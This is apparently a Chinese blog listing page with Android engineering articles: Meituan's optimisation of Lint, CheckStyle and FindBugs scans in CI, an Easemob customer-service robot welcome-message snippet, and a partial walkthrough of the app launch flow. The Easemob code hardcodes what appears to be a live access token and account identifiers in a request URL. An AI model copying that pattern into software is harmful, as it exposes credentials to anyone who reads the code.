为了保证提交的PR不会引起打包问题影响包的交付,在PR时触发的任务实际为打包任务,我们将静态代码扫描任务挂接在打包任务中。由于我们的项目是多Flavor构建,在CI上我们将触发多个Job同时执行对应Flavor的增量扫描和打包任务。同时为了保证代码扫描的完整性,我们在真正的打包Job上执行全量扫描。

总结与展望

本文主要介绍了在静态代码扫描优化方面的一些思路与实践,并重点探讨了对Lint、FindBugs、CheckStyle增量扫描的一些尝试。通过对扫描插件的优化,我们在代码扫描的效率上得到了提升,同时在实践过程中我们也积累了自定义Lint检测规则的方案,未来我们将配合基础设施标准化建设,结合静态扫描插件制定一些标准化检测规则来更好的保证我们的代码规范以及质量。

参考资料

作者简介

鸿耀,美团餐饮生态技术团队研发工程师。

作者:美团技术团队 · 鸿耀
来源:https://blog.51cto.com/u_15197658/2768467

收起阅读 »

Android静态代码扫描效率优化与实践(上)

背景与问题思考与策略思考一:现有插件包含的扫描工具是否都是必需的?为了验证扫描工具的必要性,我们关心以下一些维度:经过以上的对比分析我们发现,工具的诞生都能针对性解决某一领域问题。CheckStyle的扫描速度快效率高,对代码风格和圈复杂度支持友好;FindB...
继续阅读 »



小伙伴们,美美又来推荐干货文章啦~本文为美团研发同学实战经验,主要介绍Android静态扫描工具Lint、CheckStyle、FindBugs在扫描效率优化上的一些探索和实践,希望大家喜欢鸭。

背景与问题

DevOps实践中,我们在CI(Continuous Integration)持续集成过程主要包含了代码提交、静态检测、单元测试、编译打包环节。其中静态代码检测可以在编码规范,代码缺陷,性能等问题上提前预知,从而保证项目的交付质量。Android项目常用的静态扫描工具包括CheckStyle、Lint、FindBugs等,为降低接入成本,美团内部孵化了静态代码扫描插件,集合了以上常用的扫描工具。项目初期引入集团内部基建时我们接入了代码扫描插件,在PR(Pull Request)流程中借助Jenkins插件来触发自动化构建,从而达到监控代码质量的目的。初期单次构建耗时平均在1~2min左右,对研发效率影响甚少。但是随着时间推移,代码量随业务倍增,项目也开始使用Flavor来满足复杂的需求,这使得我们的单次PR构建达到了8~9min左右,其中静态代码扫描的时长约占50%,持续集成效率不高,对我们的研发效率带来了挑战。

思考与策略

针对以上的背景和问题,我们思考以下几个问题:

思考一:现有插件包含的扫描工具是否都是必需的?

扫描工具对比

为了验证扫描工具的必要性,我们关心以下一些维度:

  • 扫码侧重点,对比各个工具分别能针对解决什么类型的问题;

  • 内置规则种类,列举各个工具提供的能力覆盖范围;

  • 扫描对象,对比各个工具针对什么样的文件类型扫描;

  • 原理简介,简单介绍各个工具的扫描原理;

  • 优缺点,简单对比各个工具扫描效率、扩展性、定制性、全面性上的表现。

Android静态代码扫描效率优化与实践_美团_03

注:FindBugs只支持Java1.0~1.8,已经被SpotBugs替代。鉴于部分老项目并没有迁移到Java8,目前我们并没有使用SpotBugs代替FindBugs的原因如下,详情参考 官方文档
Android静态代码扫描效率优化与实践_美团_04
同时,SpotBugs的作者也在 讨论是否让SpotBugs支持老的Java版本,结论是不提供支持。

经过以上的对比分析我们发现,工具的诞生都能针对性解决某一领域问题。CheckStyle的扫描速度快效率高,对代码风格和圈复杂度支持友好;FindBugs针对Java代码潜在问题,能帮助我们发现编码上的一些错误实践以及部分安全问题和性能问题;Lint是官方深度定制,功能极其强大,且可定制性和扩展性以及全面性都表现良好。所以综合考虑,针对思考一,我们的结论是整合三种扫描工具,充分利用每一个工具的领域特性。

思考二:是否可以优化扫描过程?

既然选择了整合这几种工具,我们面临的挑战是整合工具后扫描效率的问题,首先来分析目前的插件到底耗时在哪里。

静态代码扫描耗时分析

Android项目的构建依赖Gradle工具,一次构建过程实际上是执行所有的Gradle Task。由于Gradle的特性,在构建时各个Module都需要执行CheckStyle、FindBugs、Lint相关的Task。对于Android来说,Task的数量还与其构建变体Variant有关,其中Variant = Flavor * BuildType。所以一个Module执行的相关任务可以由以下公式来描述:Flavor * BuildType (Lint,CheckStyle,Findbugs),其中为笛卡尔积。如下图所示:

Android静态代码扫描效率优化与实践_美团_05

可以看到,一次构建全量扫描执行的Task跟Varint个数正相关。对于现有工程的任务,我们可以看一下目前各个任务的耗时情况:(以实际开发中某一次扫描为例)

Android静态代码扫描效率优化与实践_Android开发_06

通过对Task耗时排序,主要的耗时体现在FindBugs和Lint对每一个Module的扫描任务上,CheckStyle任务并不占主要影响。整体来看,除了工具本身的扫描时间外,耗时主要分为多Module多Variant带来的任务数量耗时。

优化思路分析

对于工具本身的扫描时间,一方面受工具自身扫描算法和检测规则的影响,另一方面也跟扫描的文件数量相关。针对源码类型的工具比如CheckStyle和Lint,需要经过词法分析、语法分析生成抽象语法树,再遍历抽象语法树跟定义的检测规则去匹配;而针对字节码文件的工具FindBugs,需要先编译源码成Class文件,再通过BCEL分析字节码指令并与探测器规则匹配。如果要在工具本身算法上去寻找优化点,代价比较大也不一定能找到有效思路,投入产出比不高,所以我们把精力放在减少Module和Variant带来的影响上。

从上面的耗时分析可以知道,Module和Variant数直接影响任务数量, 一次PR提交的场景是多样的,比如多Module多Variant都有修改,所以要考虑这些都修改的场景。先分析一个Module多Variant的场景,考虑到不同的Variant下源代码有一定差异,并且FindBugs扫描针对的是Class文件,不同的Variant都需要编译后才能扫描,直接对多Variant做处理比较复杂。我们可以简化问题,用以空间换时间的方式,在提交PR的时候根据Variant用不同的Jenkins Job来执行每一个Variant的扫描任务。所以接下来的问题就转变为如何优化在扫描单个Variant的时候多Module任务带来的耗时。

对于Module数而言,我们可以将其抽取成组件,拆分到独立仓库,将扫描任务拆分到各自仓库的变动时期,以aar的形式集成到主项目来减少Module带来的任务数。那对于剩下的Module如何优化呢?无论是哪一种工具,都是对其输入文件进行处理,CheckStyle对Java源代码文件处理,FindBugs对Java字节码文件处理,如果我们可以通过一次任务收集到所有Module的源码文件和编译后的字节码文件,我们就可以减少多Module的任务了。所以对于全量扫描,我们的主要目标是来解决如何一次性收集所有Module的目标文件

思考三:是否支持增量扫描?

上面的优化思路都是基于全量扫描的,解决的是多Module多Variant带来的任务数量耗时。前面提到,工具本身的扫描时间也跟扫描的文件数量有关,那么是否可以从扫描的文件数量来入手呢?考虑平时的开发场景,提交PR时只是部分文件修改,我们没必要把那些没修改过的存量文件再参与扫描,而只针对修改的增量文件扫描,这样能很大程度降低无效扫描带来的效率问题。有了思路,那么我们考虑以下几个问题:

  • 如何收集增量文件,包括源码文件和Class文件?

  • 现在业界是否有增量扫描的方案,可行性如何,是否适用我们现状?

  • 各个扫描工具如何来支持增量文件的扫描?

根据上面的分析与思考路径,接下来我们详细介绍如何解决上述问题。

优化探索与实践

全量扫描优化

搜集所有Module目标文件集

获取所有Module目标文件集,首先要找出哪些Module参与了扫描。一个Module工程在Gradle构建系统中被描述为一个“Project”,那么我们只需要找出主工程依赖的所有Project即可。由于依赖配置的多样性,我们可以选择在某些Variant下依赖不同的Module,所以获取参与一次构建时与当前Variant相关的Project对象,我们可以用如下方式:

static Set collectDepProject(Project project, BaseVariant variant, Set result = null) {
if (result == null) {
  result = new HashSet<>()
}
Set taskSet = variant.javaCompiler.taskDependencies.getDependencies(variant.javaCompiler)
taskSet.each { Task task ->
  if (task.project != project && hasAndroidPlugin(task.project)) {
    result.add(task.project)
    BaseVariant childVariant = getVariant(task.project)
    if (childVariant.name == variant.name || "${variant.flavorName}${childVariant.buildType.name}".toLowerCase() == variant.name.toLowerCase()) {
      collectDepProject(task.project, childVariant, result)
    }
  }
}
return result
}

目前文件集分为两类,一类是源码文件,另一类是字节码文件,分别可以如下处理:

projectSet.each { targetProject ->
if (targetProject.plugins.hasPlugin(CodeDetectorPlugin) && GradleUtils.hasAndroidPlugin(targetProject)) {
  GradleUtils.getAndroidExtension(targetProject).sourceSets.all { AndroidSourceSet sourceSet ->
    if (!sourceSet.name.startsWith("test") && !sourceSet.name.startsWith(SdkConstants.FD_TEST)) {
      source sourceSet.java.srcDirs
    }
  }
}
}

注:上面的Source是CheckStyle Task的属性,用其来指定扫描的文件集合;

// 排除掉一些模板代码class文件
static final Collection defaultExcludes = (androidDataBindingExcludes + androidExcludes + butterKnifeExcludes + dagger2Excludes).asImmutable()

List allClassesFileTree = new ArrayList<>()
ConfigurableFileTree currentProjectClassesDir = project.fileTree(dir: variant.javaCompile.destinationDir, excludes: defaultExcludes)
allClassesFileTree.add(currentProjectClassesDir)
GradleUtils.collectDepProject(project, variant).each { targetProject ->
if (targetProject.plugins.hasPlugin(CodeDetectorPlugin) && GradleUtils.hasAndroidPlugin(targetProject)) {
  // 可能有的工程没有Flavor只有buildType
    GradleUtils.getAndroidVariants(targetProject).each { BaseVariant targetProjectVariant ->
    if (targetProjectVariant.name == variant.name || "${targetProjectVariant.name}".toLowerCase() == variant.buildType.name.toLowerCase()) {
        allClassesFileTree.add(targetProject.fileTree(dir: targetProjectVariant.javaCompile.destinationDir, excludes: defaultExcludes))
    }
  }
}
}

注:收集到字节码文件集后,可以用通过FindBugsTask 的 Class 属性指定扫描,后文会详细介绍FindBugs Task相关属性。

对于Lint工具而言,相应的Lint Task并没有相关属性可以指定扫描文件,所以在全量扫描上,我们暂时没有针对Lint做优化。

全量扫描优化数据

通过对CheckStyle和FindBugs全量扫描的优化,我们将整体扫描时间由原来的9min降低到了5min左右。

Android静态代码扫描效率优化与实践_美团_07

增量扫描优化

由前面的思考分析我们知道,并不是所有的文件每次都需要参与扫描,所以我们可以通过增量扫描的方式来提高扫描效率。

增量扫描技术调研

在做具体技术方案之前,我们先调研一下业界的现有方案,调研如下:

Android静态代码扫描效率优化与实践_Android教程_08

针对Lint,我们可以借鉴现有实现思路,同时深入分析扫描原理,在3.x版本上寻找出增量扫描的解决方案。对于CheckStyle和FindBugs,我们需要了解工具的相关配置参数,为其指定特定的差异文件集合。

注:业界有一些增量扫描的案例,例如 diff_cover,此工具主要是对单元测试整体覆盖率的检测,以增量代码覆盖率作为一个指标来衡量项目的质量,但是这跟我们的静态代码分析的需求不太符合。它有一个比较好的思路是找出差异的代码行来分析覆盖率,粒度比较细。但是对于静态代码扫描,仅仅的差异行不足以完成上下文的语义分析,尤其是针对FindBugs这类需要分析字节码的工具,获取的差异行还需要经过编译成Class文件才能进行分析,方案并不可取。

寻找增量修改文件

增量扫描的第一步是获取待扫描的目标文件。我们可以通过git diff命令来获取差异文件,值得注意的是对于删除的文件和重命名的文件需要忽略,我们更关心新增和修改的文件,并且只需要获取差异文件的路径就好了。举个例子:git diff --name-only --diff-filter=dr commitHash1 commitHash2,以上命令意思是对比两次提交记录的差异文件并获取路径,过滤删除和重命名的文件。对于寻找本地仓库的差异文件上面的命令已经足够了,但是对于PR的情况还有一些复杂,需要对比本地代码与远程仓库目标分支的差异。集团的代码管理工具在Jenkins上有相应的插件,该插件默认提供了几个参数,我们需要用到以下两个:

  • ${targetBranch}:需要合入代码的目标分支地址;

  • ${sourceCommitHash}:需要提交的代码hash值。

通过这两个参数执行以下一系列命令来获取与远程目标分支的差异文件。

git remote add upstream ${upstreamGitUrl}
git fetch upstream ${targetBranch}
git diff --name-only --diff-filter=dr $sourceCommitHash upstream/$targetBranch
  1. 配置远程分支别名为UpStream,其中upstreamGitUrl可以在插件提供的配置属性中设置;

  2. 获取远程目标分支的更新;

  3. 比较分支差异获取文件路径。

通过以上方式,我们找到了增量修改文件集。

Lint扫描原理分析

在分析Lint增量扫描原理之前,先介绍一下Lint扫描的工作流程:

Android静态代码扫描效率优化与实践_Android教程_09

App Source Files

项目中的源文件,包括Java、XML、资源文件、proGuard等。

lint.xml

用于配置希望排除的任何 Lint 检查以及自定义问题严重级别,一般各个项目都会根据自身项目情况自定义的lint.xml来排除一些检查项。

lint Tool

一套完整的扫描工具用于对Android的代码结构进行分析,可以通过命令行、IDEA、Gradle命令三种方式运行lint工具。

lint Output

Lint扫描的输出结果。

从上面可以看出,Lint Tool就像一个加工厂,对投入进来的原料(源代码)进行加工处理(各种检测器分析),得到最终的产品(扫描结果)。Lint Tool作为一个扫描工具集,有多种使用方式。Android为我们提供了三种运行方式,分别是命令行、IDEA、Gradle任务。这三种方式最终都殊途同归,通过LintDriver来实现扫描。如下图所示:

Android静态代码扫描效率优化与实践_美团_10

为了方便查看源码,新建一个工程,在build.gradle脚本中,添加如下依赖:

compile 'com.android.tools.build:gradle:3.1.1'
compile 'com.android.tools.lint:lint-gradle:26.1.1'

我们可以得到如下所示的依赖:

Android静态代码扫描效率优化与实践_Android教程_11

lint-api-26.1.1

Lint工具集的一个封装,实现了一组API接口,用于启动Lint。

lint-checks-26.1.1

一组内建的检测器,用于对这种描述好Issue进行分析处理。

lint-26.1.1

可以看做是依赖上面两个jar形成的一个基于命令行的封装接口形成的脚手架工程,我们的命令行、Gradle任务都是继承自这个jar包中相关类来做的实现。

lint-gradle-26.1.1

可以看做是针对Gradle任务这种运行方式,基于lint-26.1.1做了一些封装类。

lint-gradle-api-26.1.1

真正Gradle Lint任务在执行时调用的入口。

在理解清楚了以上几个jar的关系和作用之后,我们可以发现Lint的核心库其实是前三个依赖。后面两个其实是基于脚手架,对Gradle这种运行方式做的封装。最核心的逻辑在LintDriver的Analyze方法中。

fun analyze() {

  ...省略部分代码...

   for (project in projects) {
       fireEvent(EventType.REGISTERED_PROJECT, project = project)
  }
   registerCustomDetectors(projects)

  ...省略部分代码...

   try {
       for (project in projects) {
           phase = 1

           val main = request.getMainProject(project)

           // The set of available detectors varies between projects
           computeDetectors(project)

           if (applicableDetectors.isEmpty()) {
               // No detectors enabled in this project: skip it
               continue
          }

           checkProject(project, main)
           if (isCanceled) {
               break
          }

           runExtraPhases(project, main)
      }
  } catch (throwable: Throwable) {
       // Process canceled etc
       if (!handleDetectorError(null, this, throwable)) {
           cancel()
      }
  }
  ...省略部分代码...
}

主要是以下三个重要步骤:

registerCustomDetectors(projects)

Lint为我们提供了许多内建的检测器,除此之外我们还可以自定义一些检测器,这些都需要注册进Lint工具用于对目标文件进行扫描。这个方法主要做以下几件事情:

  1. 遍历每一个Project和它的依赖Library工程,通过client.findRuleJars来找出自定义的jar包;

  2. 通过client.findGlobalRuleJars找出全局的自定义jar包,可以作用于每一个Android工程;

  3. 从找到的jarFiles列表中,解析出自定义的规则,并与内建的Registry一起合并为CompositeIssueRegistry;需要注意的是,自定义的Lint的jar包存放位置是build/intermediaters/lint目录,如果是需要每一个工程都生效,则存放位置为~/.android/lint/

computeDetectors(project)

这一步主要用来收集当前工程所有可用的检测器。

checkProject(project, main)

接下来这一步是最为关键的一步。在此方法中,调用runFileDetectors来进行文件扫描。Lint支持的扫描文件类型很多,因为是官方支持,所以针对Android工程支持的比较友好。一次Lint任务运行时,Lint的扫描范围主要由Scope来描述。具体表现在:

fun infer(projects: Collection?): EnumSet {
          if (projects == null || projects.isEmpty()) {
              return Scope.ALL
          }

          // Infer the scope
          var scope = EnumSet.noneOf(Scope::class.java)
          for (project in projects) {
              val subset = project.subset
              if (subset != null) {
                  for (file in subset) {
                      val name = file.name
                      if (name == ANDROID_MANIFEST_XML) {
                          scope.add(MANIFEST)
                      } else if (name.endsWith(DOT_XML)) {
                          scope.add(RESOURCE_FILE)
                      } else if (name.endsWith(DOT_JAVA) || name.endsWith(DOT_KT)) {
                          scope.add(JAVA_FILE)
                      } else if (name.endsWith(DOT_CLASS)) {
                          scope.add(CLASS_FILE)
                      } else if (name.endsWith(DOT_GRADLE)) {
                          scope.add(GRADLE_FILE)
                      } else if (name == OLD_PROGUARD_FILE || name == FN_PROJECT_PROGUARD_FILE) {
                          scope.add(PROGUARD_FILE)
                      } else if (name.endsWith(DOT_PROPERTIES)) {
                          scope.add(PROPERTY_FILE)
                      } else if (name.endsWith(DOT_PNG)) {
                          scope.add(BINARY_RESOURCE_FILE)
                      } else if (name == RES_FOLDER || file.parent == RES_FOLDER) {
                          scope.add(ALL_RESOURCE_FILES)
                          scope.add(RESOURCE_FILE)
                          scope.add(BINARY_RESOURCE_FILE)
                          scope.add(RESOURCE_FOLDER)
                      }
                  }
              } else {
                  // Specified a full project: just use the full project scope
                  scope = Scope.ALL
                  break
              }
          }
}

可以看到,如果Project的Subset为Null,Scope就为Scope.ALL,表示本次扫描会针对能检测的所有范围,相应地在扫描时也会用到所有全部的Detector来扫描文件;

如果Project的Subset不为Null,就遍历Subset的集合,找出Subset中的文件分别对应哪些范围。其实到这里我们已经可以知道,Subset就是我们增量扫描的突破点。接下来我们看一下runFileDetectors:

if(scope.contains(Scope.JAVA_FILE)||scope.contains(Scope.ALL_JAVA_FILES)){
val checks = union(scopeDetectors[Scope.JAVA_FILE],scopeDetectors[Scope.ALL_JAVA_FILES])
if (checks != null && !checks.isEmpty()) {
  val files = project.subset
  if (files != null) {
    checkIndividualJavaFiles(project, main, checks, files)
  } else {
    val sourceFolders = project.javaSourceFolders
    val testFolders = if (scope.contains(Scope.TEST_SOURCES))
    project.testSourceFolders
    else
    emptyList ()
    val generatedFolders = if (isCheckGeneratedSources)
    project.generatedSourceFolders
    else
    emptyList ()
    checkJava(project, main, sourceFolders, testFolders, generatedFolders, checks)
  }
}
}

这里更加明确,如果project.subset不为空,就对单独的Java文件扫描,否则,就对源码文件和测试目录以及自动生成的代码目录进行扫描。整个runFileDetectors的扫描顺序入下:

  1. Scope.MANIFEST

  2. Scope.ALL_RESOURCE_FILES)|| scope.contains(Scope.RESOURCE_FILE) ||

    scope.contains(Scope.RESOURCE_FOLDER) || scope.contains(Scope.BINARY_RESOURCE_FILE)

  3. scope.contains(Scope.JAVA_FILE) || scope.contains(Scope.ALL_JAVA_FILES)

  4. scope.contains(Scope.CLASS_FILE) || scope.contains(Scope.ALL_CLASS_FILES) ||

    scope.contains(Scope.JAVA_LIBRARIES)

  5. scope.contains(Scope.GRADLE_FILE)

  6. scope.contains(Scope.OTHER)

  7. scope.contains(Scope.PROGUARD_FILE)

  8. scope.contains(Scope.PROPERTY_FILE)

官方文档的描述顺序一致。

现在我们已经知道,增量扫描的突破点其实是需要构造project.subset对象。

    /**
    * Adds the given file to the list of files which should be checked in this
    * project. If no files are added, the whole project will be checked.
    *
    * @param file the file to be checked
    */
  public void addFile(@NonNull File file) {
      if (files == null) {
          files = new ArrayList<>();
      }
      files.add(file);
  }

  /**
    * The list of files to be checked in this project. If null, the whole
    * project should be checked.
    *
    * @return the subset of files to be checked, or null for the whole project
    */
  @Nullable
  public List getSubset() {
      return files;
  }

注释也很明确的说明了只要Files不为Null,就会扫描指定文件,否则扫描整个工程。

Android静态代码扫描效率优化与实践(下)

作者:美团技术团队 · 鸿耀
来源:https://blog.51cto.com/u_15197658/2768467

收起阅读 »

安卓客服云集成机器人欢迎语

1.会话分配 给APP渠道指定全天机器人2.机器人欢迎语打开,并指定一个菜单3.代码部分/** * 保存欢迎语到本地 */ public void saveMessage(){ Message message = Messa...
继续阅读 »
1.会话分配 给APP渠道指定全天机器人


2.机器人欢迎语打开,并指定一个菜单


3.代码部分

/**
* 保存欢迎语到本地
*/
public void saveMessage(){
Message message = Message.createReceiveMessage(Message.Type.TXT);
String str = Preferences.getInstance().getRobotWelcome();
EMTextMessageBody body = null;
if(!isRobotMenu(str)){
body = new EMTextMessageBody(str);
}else{
try{
body = new EMTextMessageBody("");
JSONObject msgtype = new JSONObject(str);
message.setAttribute("msgtype",msgtype);
}catch (Exception e){
Log.e("RobotMenu","onError:"+e.getMessage());
}
}
message.setFrom(toChatUsername);
message.addBody(body);
message.setMsgTime(System.currentTimeMillis());
message.setStatus(Message.Status.SUCCESS);
message.setMsgId(UUID.randomUUID().toString());

ChatClient.getInstance().chatManager().saveMessage(message);
messageList.refresh();
}

/**
* 判断机器人欢迎语是否是菜单类型
*
* @return
*/
private boolean isRobotMenu(String str) {
try {
JSONObject json = new JSONObject(str);
JSONObject obj = json.getJSONObject("choice");
} catch (Exception e) {
return false;
}
return true;
}

public void getNewRobotWelcome(String toChatUsername, MessageList messageList) {
this.toChatUsername=toChatUsername;
new Thread(new Runnable() {
@Override
public void run() {
OkHttpClient okHttpClient = new OkHttpClient();
//需要替换为自己的参数
String tenantid = "67386";//需要替换为自己的tenantid(管理员模式->账户->账户信息->租户ID一栏)
String orgname = "1473190314068186";//appkey # 前半部分
String appname = "kefuchannelapp67386";//appkey # 后半部分
String username = toChatUsername;//IM 服务号
String token = ChatClient.getInstance().accessToken();//用户token
// String url = "http://kefu.easemob.com/v1/webimplugin/tenants/robots/welcome?channelType=easemob&originType=app&tenantId=" + tenantid + "&orgName=" + orgname + "&appName=" + appname + "&userName=" + username + "&token=" + token;
String url = "https://kefu.easemob.com/v1/webimplugin/tenants/robots/welcome?channelType=easemob&originType=app&tenantId=95739&orgName=1404210708092119&appName=kefuchannelapp95739&userName=kefuchannelimid_548067&token=YWMtamWiyuByEeuml5FFEs_ewo740PDfnhHrjuLfDWx-sxgBU8F64G8R65kl_RFfGcMJAwMAAAF6iaJgxwBPGgDFrFY27hqYUwtUP5mDC0wRg1jcOkfkyEVs38cgDdmEQw";
Request request = new Request.Builder().url(url).get().build();
try {
Response response = okHttpClient.newCall(request).execute();
String result = response.body().string();
JSONObject obj = new JSONObject(result);
Log.e("newwelcome----", obj.getJSONObject("entity").getString("greetingText"));
int type = obj.getJSONObject("entity").getInt("greetingTextType");
final String rob_welcome = obj.getJSONObject("entity").getString("greetingText");
//type0代表是文字消息的机器人欢迎语
//type1代表是菜单消息的机器人欢迎语
if (type == 0) {
//把解析拿到的string保存在本地
Preferences.getInstance().setRobotWelcome(rob_welcome);

} else if (type == 1) {
final String str = rob_welcome.replaceAll("&amp;quot;", "\"");
JSONObject json = new JSONObject(str);
JSONObject ext = json.getJSONObject("ext");
final JSONObject msgtype = ext.getJSONObject("msgtype");
//把解析拿到的string保存在本地
Preferences.getInstance().setRobotWelcome(msgtype.toString());
}
} catch (JSONException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}
}).start();

ChatClient.getInstance().chatManager().getCurrentSessionId(toChatUsername, new ValueCallBack() {
@Override
public void onSuccess(String value) {
Log.e("TAG value:", value);
//当返回value不为空时,则返回的当前会话的会话ID,也就是说会话正在咨询中,不需要发送欢迎语
if (value.isEmpty()) {//
saveMessage();
}
}

@Override
public void onError(int error, String errorMsg) {

}
});
}





收起阅读 »

女儿拿着小天才电话手表问我App启动流程(下)

接 女儿拿着小天才电话手表问我App启动流程(上) 第四关:ActivityThread闪亮登场刚才说到由Zygote进行fork进程,并返回新进程的pid。其实这过程中也实例化ActivityThread对象。一起看看是怎么实现的: //RuntimeIni...
继续阅读 »

女儿拿着小天才电话手表问我App启动流程(上)


第四关:ActivityThread闪亮登场

刚才说到由Zygote进行fork进程,并返回新进程的pid。其实这过程中也实例化ActivityThread对象。一起看看是怎么实现的:


//RuntimeInit.java
protected static Runnable findStaticMain(String className, String[] argv,
ClassLoader classLoader) {
Class<?> cl;

try {
cl = Class.forName(className, true, classLoader);
} catch (ClassNotFoundException ex) {
throw new RuntimeException(
"Missing class when invoking static main " + className,
ex);
}

Method m;
try {
m = cl.getMethod("main", new Class[] { String[].class });
} catch (NoSuchMethodException ex) {
throw new RuntimeException(
"Missing static main on " + className, ex);
} catch (SecurityException ex) {
throw new RuntimeException(
"Problem getting static main on " + className, ex);
}
//...
return new MethodAndArgsCaller(m, argv);
}

原来是反射!通过反射调用了ActivityThread 的 main 方法。ActivityThread大家应该都很熟悉了,代表了Android的主线程,而main方法也是app的主入口。这不对上了!新建进程的时候就调用了,可不是主入口嘛。来看看这个主入口。


public static void main(String[] args) {
//...
Looper.prepareMainLooper();

ActivityThread thread = new ActivityThread();
thread.attach(false, startSeq);

//...

if (false) {
Looper.myLooper().setMessageLogging(new
LogPrinter(Log.DEBUG, "ActivityThread"));
}
//...
Looper.loop();

throw new RuntimeException("Main thread loop unexpectedly exited");
}

main方法主要创建了ActivityThread,创建了主线程的Looper对象,并开始loop循环。除了这些,还要告诉AMS,我醒啦,进程创建好了!也就是上述代码中的attach方法,最后会转到AMSattachApplicationLocked方法,一起看看这个方法干了啥:


//ActivitymanagerService.java
private final boolean attachApplicationLocked(IApplicationThread thread,
int pid, int callingUid, long startSeq) {
//...
ProcessRecord app;
//...
thread.bindApplication(processName, appInfo, providers, null, profilerInfo,
null, null, null, testMode,
mBinderTransactionTrackingEnabled, enableTrackAllocation,
isRestrictedBackupMode || !normalMode, app.isPersistent(),
new Configuration(app.getWindowProcessController().getConfiguration()),
app.compat, getCommonServicesLocked(app.isolated),
mCoreSettingsObserver.getCoreSettingsLocked(),
buildSerial, autofillOptions, contentCaptureOptions);
//...
app.makeActive(thread, mProcessStats);

//...
// See if the top visible activity is waiting to run in this process...
if (normalMode) {
try {
didSomething = mAtmInternal.attachApplication(app.getWindowProcessController());
} catch (Exception e) {
Slog.wtf(TAG, "Exception thrown launching activities in " + app, e);
badApp = true;
}
}
//...
}

//ProcessRecord.java
public void makeActive(IApplicationThread _thread, ProcessStatsService tracker) {
//...
thread = _thread;
mWindowProcessController.setThread(thread);
}

这里主要做了三件事:



  • bindApplication方法,主要用来启动Application。
  • makeActive方法,设定WindowProcessController里面的线程,也就是上文中说过判断进程是否存在所用到的。
  • attachApplication方法,启动根Activity。

第五关:创建Application

接着上面看,按照我们所熟知的,应用启动后,应该就是启动Applicaiton,启动Activity。看看是不是怎么回事:


    //ActivityThread#ApplicationThread
public final void bindApplication(String processName, ApplicationInfo appInfo,
List<ProviderInfo> providers, ComponentName instrumentationName,
ProfilerInfo profilerInfo, Bundle instrumentationArgs,
IInstrumentationWatcher instrumentationWatcher,
IUiAutomationConnection instrumentationUiConnection, int debugMode,
boolean enableBinderTracking, boolean trackAllocation,
boolean isRestrictedBackupMode, boolean persistent, Configuration config,
CompatibilityInfo compatInfo, Map services, Bundle coreSettings,
String buildSerial, AutofillOptions autofillOptions,
ContentCaptureOptions contentCaptureOptions) {
AppBindData data = new AppBindData();
data.processName = processName;
data.appInfo = appInfo;
data.providers = providers;
data.instrumentationName = instrumentationName;
data.instrumentationArgs = instrumentationArgs;
data.instrumentationWatcher = instrumentationWatcher;
data.instrumentationUiAutomationConnection = instrumentationUiConnection;
data.debugMode = debugMode;
data.enableBinderTracking = enableBinderTracking;
data.trackAllocation = trackAllocation;
data.restrictedBackupMode = isRestrictedBackupMode;
data.persistent = persistent;
data.config = config;
data.compatInfo = compatInfo;
data.initProfilerInfo = profilerInfo;
data.buildSerial = buildSerial;
data.autofillOptions = autofillOptions;
data.contentCaptureOptions = contentCaptureOptions;
sendMessage(H.BIND_APPLICATION, data);
}

public void handleMessage(Message msg) {
if (DEBUG_MESSAGES) Slog.v(TAG, ">>> handling: " + codeToString(msg.what));
switch (msg.what) {
case BIND_APPLICATION:
Trace.traceBegin(Trace.TRACE_TAG_ACTIVITY_MANAGER, "bindApplication");
AppBindData data = (AppBindData)msg.obj;
handleBindApplication(data);
Trace.traceEnd(Trace.TRACE_TAG_ACTIVITY_MANAGER);
break;
}
}

复制代码

可以看到这里有个H,H是主线程的一个Handler类,用于处理需要主线程处理的各类消息,包括BIND_SERVICE,LOW_MEMORY,DUMP_HEAP等等。接着看handleBindApplication:


private void handleBindApplication(AppBindData data) {
//...
try {
final ClassLoader cl = instrContext.getClassLoader();
mInstrumentation = (Instrumentation)
cl.loadClass(data.instrumentationName.getClassName()).newInstance();
}
//...
Application app;
final StrictMode.ThreadPolicy savedPolicy = StrictMode.allowThreadDiskWrites();
final StrictMode.ThreadPolicy writesAllowedPolicy = StrictMode.getThreadPolicy();
try {
// If the app is being launched for full backup or restore, bring it up in
// a restricted environment with the base application class.
app = data.info.makeApplication(data.restrictedBackupMode, null);
mInitialApplication = app;
// don't bring up providers in restricted mode; they may depend on the
// app's custom Application class
if (!data.restrictedBackupMode) {
if (!ArrayUtils.isEmpty(data.providers)) {
installContentProviders(app, data.providers);
}
}

// Do this after providers, since instrumentation tests generally start their
// test thread at this point, and we don't want that racing.
try {
mInstrumentation.onCreate(data.instrumentationArgs);
}
//...
try {
mInstrumentation.callApplicationOnCreate(app);
} catch (Exception e) {
if (!mInstrumentation.onException(app, e)) {
throw new RuntimeException(
"Unable to create application " + app.getClass().getName()
+ ": " + e.toString(), e);
}
}
}
//...
}

这里信息量就多了,一点点的看:



  • 首先,创建了Instrumentation,也就是上文一开始startActivity的第一步。每个应用程序都有一个Instrumentation,用于管理这个进程,比如要创建Activity的时候,首先就会执行到这个类里面。
  • makeApplication方法,创建了Application,终于到这一步了。最终会走到newApplication方法,执行Application的attach方法。

public Application newApplication(ClassLoader cl, String className, Context context)
throws InstantiationException, IllegalAccessException,
ClassNotFoundException {
Application app = getFactory(context.getPackageName())
.instantiateApplication(cl, className);
app.attach(context);
return app;
}

attach方法有了,onCreate方法又是何时调用的呢?马上来了:


instrumentation.callApplicationOnCreate(app);

public void callApplicationOnCreate(Application app) {
app.onCreate();
}

也就是创建Application->attach->onCreate调用顺序。


等等,在onCreate之前还有一句重要的代码:


installContentProviders

这里就是启动Provider的相关代码了,具体逻辑就不分析了。


第六关:启动Activity

说完bindApplication,该说说后续了,上文第五关说到,bindApplication方法之后执行的是attachApplication方法,最终会执行到ActivityThread的handleLaunchActivity方法:


public Activity handleLaunchActivity(ActivityClientRecord r,
PendingTransactionActions pendingActions, Intent customIntent) {
//...
WindowManagerGlobal.initialize();
//...
final Activity a = performLaunchActivity(r, customIntent);
//...
return a;
}

首先,初始化了WindowManagerGlobal,这是个啥呢? 没错,就是WindowManagerService了,也为后续窗口显示等作了准备。


继续看performLaunchActivity:


private Activity performLaunchActivity(ActivityClientRecord r, Intent customIntent) {
//创建ContextImpl
ContextImpl appContext = createBaseContextForActivity(r);
Activity activity = null;
try {
java.lang.ClassLoader cl = appContext.getClassLoader();
//创建Activity
activity = mInstrumentation.newActivity(
cl, component.getClassName(), r.intent);
}

try {
if (activity != null) {
//完成activity的一些重要数据的初始化
activity.attach(appContext, this, getInstrumentation(), r.token,
